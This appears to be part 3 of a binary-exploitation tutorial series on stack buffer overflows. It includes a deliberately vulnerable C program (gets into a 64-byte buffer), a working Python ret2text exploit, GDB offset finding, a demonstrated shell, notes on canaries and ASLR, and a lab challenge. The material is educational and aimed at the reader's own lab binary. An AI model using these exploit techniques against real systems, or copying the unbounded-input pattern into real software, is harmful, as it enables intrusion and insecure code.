Part 3 — Stack Buffer Overflow

Series: Binary Exploitation | Difficulty: Beginner-Intermediate | Read time: ~45 min

Prerequisites: Part 1 — Inside an ELF Binary and Part 2 — x86-64 Assembly & The Stack

This Is It

Everything you’ve learned so far — ELF structure, registers, assembly, the stack — it all leads here. The stack buffer overflow is the foundational vulnerability in binary exploitation. It’s how people learned to hack in the 1990s, and the concepts behind it are still relevant today.

Here’s the core idea in one sentence: if you write more data than a buffer can hold, the excess spills into adjacent memory — and if that adjacent memory includes the return address, you control where the program goes next.

That’s it. That’s the entire vulnerability. Everything else is details — important details, but the core is that simple.

What Is a Buffer?

A buffer is just a contiguous block of memory used to hold data. When you declare an array in C, you’re allocating a buffer on the stack:

void vulnerable_function() {
    char buffer[64];       // 64-byte buffer on the stack
    gets(buffer);          // reads input into the buffer
}

The problem is that C doesn’t check if the input fits. There are no bounds checks. If you type 200 characters into a 64-byte buffer, C will happily write all 200 bytes — right past the end of the buffer and into whatever memory comes next.

Stack Layout Before the Overflow

Let’s trace what happens when vulnerable_function() is called. Remember from Part 2: the stack grows downward, and the function prologue sets up a new stack frame.

Here’s the stack layout before any input:

    HIGH ADDRESS
    +---------------------+
    |   ... caller's      |
    |   stack frame       |
    +---------------------+
    |   return address    |  <-- points back to main()
    |   (8 bytes)         |
    +---------------------+
    |   saved rbp         |  <-- saved base pointer
    |   (8 bytes)         |
    +---------------------+
    |                     |
    |   buffer[0..63]     |  <-- 64 bytes of local buffer
    |                     |
    +---------------------+
    LOW ADDRESS (rsp points here)

The key insight: the buffer is below the saved rbp and the return address. When we overflow the buffer, we write upward — past the buffer, past the saved rbp, and into the return address.

What Happens During the Overflow

When gets(buffer) reads input, it writes bytes starting at the beginning of the buffer. If we write exactly 64 bytes, we fill the buffer perfectly. But if we write 65 bytes, that extra byte overwrites the first byte of the saved rbp. Write more, and we keep climbing up the stack.

If we send 80 bytes (64 buffer + 16 overflow):

    HIGH ADDRESS
    +---------------------+
    |   return address    |  <-- STILL INTACT
    |   (8 bytes)         |
    +---------------------+
    |   saved rbp         |  <-- PARTIALLY OVERWRITTEN
    |   (8 bytes)         |
    +---------------------+
    |   buffer[0..63]     |  <-- FULLY OVERWRITTEN with our input
    |   + 16 bytes past   |  <-- bytes 65-80 overflow here
    +---------------------+

But if we send 88 bytes (64 buffer + 8 saved rbp + 8 return address = 80):

    HIGH ADDRESS
    +---------------------+
    |   return address    |  <-- OVERWRITTEN with our bytes!
    |   (8 bytes)         |
    +---------------------+
    |   saved rbp         |  <-- OVERWRITTEN with our bytes
    |   (8 bytes)         |
    +---------------------+
    |   buffer[0..63]     |  <-- OVERWRITTEN with our input
    |   + 16 bytes past   |
    +---------------------+

We now control the return address. When the function executes ret, it pops the return address from the stack into rip. If we’ve replaced that address with the address of our target function, the CPU jumps to our chosen location.

The Vuln Program

Let’s write the actual vulnerable program we’ll exploit. Create a file called vuln.c:

// vuln.c - Vulnerable program for learning
#include <stdio.h>
#include <string.h>

void secret_function() {
    printf("You shouldn't be here!\n");
    system("/bin/sh");
}

void vulnerable() {
    char buffer[64];
    printf("Enter your name: ");
    gets(buffer);   // DANGEROUS: no bounds checking!
    printf("Hello, %s!\n", buffer);
}

int main() {
    vulnerable();
    printf("Goodbye!\n");
    return 0;
}

This program has a classic vulnerability: gets() reads unlimited input into a 64-byte buffer. If we provide more than 64 bytes, we overflow past the buffer and can overwrite the return address.

The goal: overflow the buffer to overwrite the return address with the address of secret_function(). When vulnerable() returns, instead of going back to main(), the CPU jumps to secret_function() and we get a shell.

Compiling the Program

Compile with protections disabled so we can focus on understanding the overflow itself. We’ll add protections back later.

# Compile with no protections
gcc -o vuln vuln.c -fno-stack-protector -z execstack -no-pie

# What each flag does:
#   -fno-stack-protector    Disables stack canaries (no canary checking)
#   -z execstack            Makes the stack executable (allows shellcode)
#   -no-pie                 Disables position-independent executable
#                           (fixed addresses, easier to exploit)

Finding the Offset with GDB

How many bytes do we need to write before we reach the return address? We need to find the exact offset — the distance from the start of the buffer to the return address.

The theoretical answer: 64 bytes (buffer) + 8 bytes (saved rbp) = 72 bytes. But compilers can add padding, so we need to verify.

Method 1: Pattern Generate (fastest)

GDB has a built-in pattern generator. Start GDB and use pattern create:

$ gdb ./vuln
(gdb) pattern create 200
AAAABBBBCCCCDDDD...
(gdb) run
Enter your name: AAAABBBBCCCCDDDD...

When the program crashes, GDB will tell you which part of the pattern overwrote rip:

Program received signal SIGSEGV, Segmentation fault.
0x4141414141414141 in ?? ()

(gdb) pattern offset $rip
64 found at offset: 72

The offset is 72 bytes. That means:

• Bytes 0–63: fill the buffer
• Bytes 64–71: overwrite saved rbp
• Bytes 72–79: overwrite the return address

Method 2: Manual Calculation

You can also find the offset by inspecting the disassembly in GDB:

(gdb) disassemble vulnerable
   0x0000000000401136 <+0>:   push   %rbp
   0x0000000000401137 <+1>:   mov    %rsp,%rbp
   0x000000000040113a <+4>:   sub    $0x50,%rsp     <-- 0x50 = 80 bytes allocated!

The compiler allocated 80 bytes (0x50) on the stack. The buffer starts at rbp-0x50, and the saved rbp is at rbp-0x08. So the offset is 0x50 - 0x08 = 0x48 = 72 bytes.

Finding the Address of secret_function

We need the memory address of secret_function() so we can write it into the return address. Since we compiled with -no-pie, the address is fixed:

$ objdump -d vuln | grep secret_function
0000000000401116 <secret_function>:

The address is 0x0000000000401116. On a 64-bit system, we write this as 8 bytes in little-endian order (least significant byte first):

0x401116 -> \x16\x11\x40\x00\x00\x00\x00\x00

Writing the Exploit

Now we write a Python script that generates the overflow payload. We’ll use the struct module to pack the address correctly.

#!/usr/bin/env python3
# exploit.py - Stack buffer overflow exploit
import struct
import sys

# Address of secret_function (from objdump)
secret_addr = 0x401116

# Offset to return address (from GDB pattern)
offset = 72

# Build the payload
payload = b"A" * offset                    # fill buffer + saved rbp
payload += struct.pack("<Q", secret_addr)   # overwrite return address

# Send the payload to the vulnerable program
print(payload, end="")

Let’s break down each line:

Why little-endian?

x86-64 is a little-endian architecture: the least significant byte is stored at the lowest address:

Address:   0x401116
In memory: 16 11 40 00 00 00 00 00
           ^               ^
           LSB             MSB

If you wrote the bytes in big-endian order, the CPU would jump to address 0x0000000016114000 — which doesn’t exist — and crash.

Running the Exploit

Let’s test our exploit:

# Pipe the payload directly
$ python3 exploit.py | ./vuln
Enter your name: Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
You shouldn't be here!

The program jumped to secret_function() (we see “You shouldn’t be here!”), but the shell didn’t stay open. That’s because system("/bin/sh") ran and the shell read from stdin — but stdin was already consumed by our payload.

Method 2: Using a pipe with a shell

$ (python3 exploit.py; cat) | ./vuln
Enter your name: Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
You shouldn't be here!
$ whoami
lucky
$ id
uid=1000(lucky) gid=1000(lucky) groups=1000(lucky)

The trick: (python3 exploit.py; cat) sends the payload, then keeps stdin open with cat. The shell inherits this open stdin, so you can type commands.

Visualizing the Overflow in GDB

Let’s watch the overflow happen step by step in GDB.

$ gdb ./vuln
(gdb) break vulnerable
Breakpoint 1 at 0x401142
(gdb) run

Before input, look at the stack:

(gdb) x/20xg $rsp
0x7fffffffe0a0: 0x00007ffff7dc5d90  0x0000000000000000
0x7fffffffe0b0: 0x0000000000000001  0x00007ffff7e24a37
0x7fffffffe0c0: 0x00007fffffffe1c8  0x0000000000401190
0x7fffffffe0d0: 0x0000000000401176  0x00007ffff7e24a37
                                         ^ return address (to main)

After the overflow with our payload:

(gdb) x/20xg $rsp
0x7fffffffe0a0: 0x4141414141414141  0x4141414141414141
0x7fffffffe0b0: 0x4141414141414141  0x4141414141414141
0x7fffffffe0c0: 0x4141414141414141  0x4141414141414141
0x7fffffffe0d0: 0x0000000000401116  <-- RETURN ADDRESS OVERWRITTEN!

The return address is now 0x401116 — the address of secret_function().

Step by Step Attack Walkthrough

Step 1: Program calls vulnerable()

call vulnerable
-> push return_address    ; save where to come back to
-> jmp vulnerable         ; jump to the function

Step 2: Function prologue executes

push rbp                 ; save caller's rbp
mov rbp, rsp             ; set rbp to current rsp
sub rsp, 0x50            ; allocate 80 bytes for local vars

Step 3: gets() reads our overflow payload

buffer starts at rbp-0x50
bytes 0-63:   fill buffer[0..63]
bytes 64-71:  overwrite saved rbp with 'AAAAAAAA'
bytes 72-79:  overwrite return address with 0x401116

Step 4: Function epilogue and ret

leave                    ; mov rsp, rbp; pop rbp
                         ; rbp is now 0x4141414141414141 (garbage)
ret                      ; pop rip from stack
                         ; rip = 0x401116 (our overwritten value!)

Step 5: CPU jumps to secret_function()

The instruction pointer is now 0x401116. We get a shell.

The Complete Exploit Script

Here’s the full exploit with error handling and status output:

#!/usr/bin/env python3
"""
exploit.py - Stack buffer overflow exploit for vuln.c
Usage: python3 exploit.py | ./vuln
"""
import struct
import sys

# Configuration
BUFFER_SIZE = 64
SAVED_RBP_SIZE = 8
OFFSET = BUFFER_SIZE + SAVED_RBP_SIZE    # 72 bytes

# Target function address (from: objdump -d vuln | grep secret_function)
TARGET = 0x401116

# Build payload
padding = b"A" * OFFSET
address = struct.pack("<Q", TARGET)       # little-endian 64-bit
payload = padding + address

# Sanity checks
if len(payload) != OFFSET + 8:
    print(f"ERROR: payload is {len(payload)} bytes, expected {OFFSET + 8}",
          file=sys.stderr)
    sys.exit(1)

print(f"[*] Payload: {len(payload)} bytes", file=sys.stderr)
print(f"[*] Offset:  {OFFSET} bytes", file=sys.stderr)
print(f"[*] Target:  0x{TARGET:016x}", file=sys.stderr)

# Send payload
sys.stdout.buffer.write(payload)

Exploitation Variants

The basic technique is straightforward, but real-world scenarios often require variations. Here are the most common ones:

1. ret2text — Jumping to Existing Code

This is what we just did: overwrite the return address with the address of an existing function (secret_function). The entire function already exists in the binary’s text segment. This works when the binary has a useful function we can redirect to.

2. Shellcode Injection — Injecting Our Own Code

Instead of jumping to an existing function, we can inject our own machine code onto the stack and jump to it. The payload becomes:

[padding to fill buffer + saved rbp]
[address pointing to the buffer on the stack]
[shellcode sits in the buffer]

This only works when the stack is executable (-z execstack). Modern systems mark the stack as non-executable by default (NX bit), so this technique is mostly educational today.

3. Return-Oriented Programming (ROP)

When NX is enabled (stack not executable), we can’t inject code. Instead, we chain together small fragments of existing code (“gadgets”) that are already in the binary. Each gadget ends with a ret instruction, so we can string them together by overwriting the return address with a chain of gadget addresses. We’ll cover ROP in detail in a later article.

4. Format String + Buffer Overflow Combo

Sometimes you use a format string vulnerability to leak the address of a target function, then use a buffer overflow to jump to it. This is common in CTF challenges where ASLR is enabled — you need to know the address before you can overflow.

Buffer Overflow Patterns in C

The vulnerability always comes from writing more data than expected. Here are the dangerous functions and patterns:

Protections and How They Work

Modern compilers and operating systems add several protections to prevent buffer overflows. Understanding these is essential — you need to know what you’re fighting.

Stack Canaries in Detail

A stack canary is a random value placed between the local variables and the saved rbp. Before the function returns, it checks if the canary has been modified. If it has, the program aborts:

    +---------------------+
    |   return address    |
    +---------------------+
    |   saved rbp         |
    +---------------------+
    |   STACK CANARY      |  <-- random value, checked before return
    +---------------------+
    |   buffer[0..63]     |
    +---------------------+

To overflow past the canary, you need to either leak its value first (e.g., via a format string or information disclosure), or find a way to bypass the check.

ASLR in Detail

Address Space Layout Randomization randomizes the locations of the stack, heap, shared libraries, and (with PIE) the binary itself. On Linux, check the current setting:

$ cat /proc/sys/kernel/randomize_va_space
2    # 0=off, 1=partial, 2=full (default)

With ASLR enabled, the stack address changes every time you run the program. This means you can’t hardcode the address of your shellcode — you need to leak it first.

Defeating ASLR: The Leak Pattern

When ASLR is on, addresses are randomized. But if the binary has a vulnerability that lets you read memory (like a format string or an out-of-bounds read), you can leak an address, calculate the offset, and then overflow with the correct address.

The general pattern:

1. Leak: Use a read primitive to dump a known address
         (e.g., a GOT entry or a return address on the stack)
2. Calculate: Determine the base address from the leaked value
3. Overwrite: Use the calculated address in your overflow payload

This is the foundation of most modern exploits. Pure buffer overflow without leaks only works when protections are disabled.

The Lab Challenge

// b0f.c
#include <stdio.h>
#include <string.h>

void win() {
    printf("Congratulations! You exploited the overflow!\n");
    system("/bin/sh");
}

void vulnerable() {
    char buffer[32];
    printf("Input: ");
    gets(buffer);
}

int main() {
    vulnerable();
    printf("No overflow detected.\n");
    return 0;
}

Quick Reference: Buffer Overflow Cheat Sheet

What’s Next

You’ve now executed your first exploit. You understand how a buffer overflow works, how to find the offset, how to overwrite the return address, and what protections exist to stop you.

In Part 4 — Shellcode & NX Bypass, we’ll learn how to write shellcode from scratch, inject it onto the stack, and when NX blocks us, we’ll learn Return-Oriented Programming (ROP) — how to execute code without injecting anything.

The rabbit hole goes deeper.